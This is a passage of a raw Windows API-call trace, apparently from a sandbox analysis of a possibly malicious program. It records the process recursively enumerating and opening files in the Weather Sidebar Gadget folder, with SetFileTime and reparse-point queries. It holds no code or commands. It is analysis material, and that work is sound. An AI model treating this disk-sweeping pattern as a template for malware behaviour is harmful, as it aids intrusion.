cFileName="Tulip.jpg", cAlternateFileName="")) returned 0 [0080.916] GetLastError () returned 0x12 [0080.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122eed0) returned 1 [0080.916] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0080.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122edc8) returned 1 [0080.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x122ecc0) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b7b018, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86b7b018, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db4037b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.916] GetLastError () returned 0x12 [0080.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.916] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0080.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.917] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 1 [0080.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.917] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.918] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.918] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0080.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.919] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0080.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.919] NtClose (Handle=0x178) returned 0x0 [0080.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe1b0) returned 1 [0080.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe1b0 [0080.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.920] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0080.920] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.920] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2a5f4919, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0080.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff6b8 [0080.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122ecc0 [0080.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.921] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.921] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a61aa77, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a61aa77, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0080.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff6d8 [0080.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122edc8 [0080.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.923] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0080.923] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x372d03b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0080.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff6f8 [0080.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122eed0 [0080.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.924] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8765739d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8765739d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x372d03b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0080.924] GetLastError () returned 0x12 [0080.924] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0080.925] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876a3657, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876a3657, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2a5f4919, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3260, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0080.925] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0080.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.944] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.944] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0080.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.945] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0080.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.945] NtClose (Handle=0x178) returned 0x0 [0080.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0080.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0080.946] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.946] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.946] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0080.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1231308 [0080.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1231308) returned 1 [0080.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1231308 [0080.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1231308) returned 1 [0080.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1231308 [0080.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230790 [0080.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff718 [0080.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230898 [0080.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1231308) returned 1 [0080.947] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0080.947] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0080.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff738 [0080.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12309a0 [0080.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.949] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 1 [0080.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff758 [0080.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230dc0 [0080.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.950] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 0 [0080.950] GetLastError () returned 0x12 [0080.950] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0080.950] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0080.950] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.950] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0080.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230ec8 [0080.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.951] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0080.951] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.951] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.951] NtClose (Handle=0x178) returned 0x0 [0080.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230ec8) returned 1 [0080.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe3d0 [0080.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1231308 [0080.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230ec8 [0080.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe3d0) returned 1 [0080.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230fd0 [0080.952] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, 